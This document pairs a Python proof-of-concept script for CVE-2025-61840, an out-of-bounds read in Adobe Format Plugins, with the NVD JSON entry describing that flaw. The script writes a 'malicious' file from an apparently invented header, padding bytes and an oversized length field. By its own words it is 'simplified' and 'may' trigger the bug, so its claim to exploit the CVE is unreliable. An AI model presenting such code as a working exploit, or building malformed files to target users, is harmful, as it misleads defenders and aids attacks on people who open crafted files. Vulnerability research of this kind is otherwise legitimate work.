CVE-2025-61840

# CVE-2025-61840 PoC - Adobe Format Plugins Out-of-bounds Read # This PoC demonstrates the vulnerability in a simplified manner # The actual exploitation requires crafting a malicious file for Adobe Format Plugins import struct import os def create_malicious_file(output_path): """ Create a malicious file to trigger CVE-2025-61840 This PoC generates a minimal test file that may trigger the out-of-bounds read """ # File header for Format Plugins header = b'FPKT' # Format Plugin signature # Version field (vulnerable version) version = struct.pack('<I', 1) # Version 1.x # Malformed data designed to trigger OOB read # This creates a scenario where the parser reads beyond buffer boundaries malicious_data = b'\x00' * 100 # Add specific trigger bytes trigger = b'\xFF\xFF\xFF\xFF\x00\x00\x00\x00' # Crafted metadata section metadata = b'META' metadata += struct.pack('<I', 0xFFFFFFFF) # Large size value metadata += b'\x00' * 50 # Combine all sections poc_file = header + version + malicious_data + trigger + metadata with open(output_path, 'wb') as f: f.write(poc_file) print(f"[*] PoC file created: {output_path}") print(f"[*] File size: {len(poc_file)} bytes") print(f"[*] This file may trigger CVE-2025-61840 in Adobe Format Plugins <= 1.1.1") if __name__ == '__main__': output_file = 'CVE-2025-61840_poc.fmt' create_malicious_file(output_file) print("\n[!] Note: This PoC is for educational and testing purposes only") print("[!] Do not use for malicious activities")

{"cve": {"id": "CVE-2025-61840", "sourceIdentifier": "[email protected]", "published": "2025-11-11T19:15:35.763", "lastModified": "2025-11-13T15:19:15.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Format Plugins versions 1.1.1 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FE89744-A347-4449-8733-D54CA0E25723"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/formatplugins/apsb25-114.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}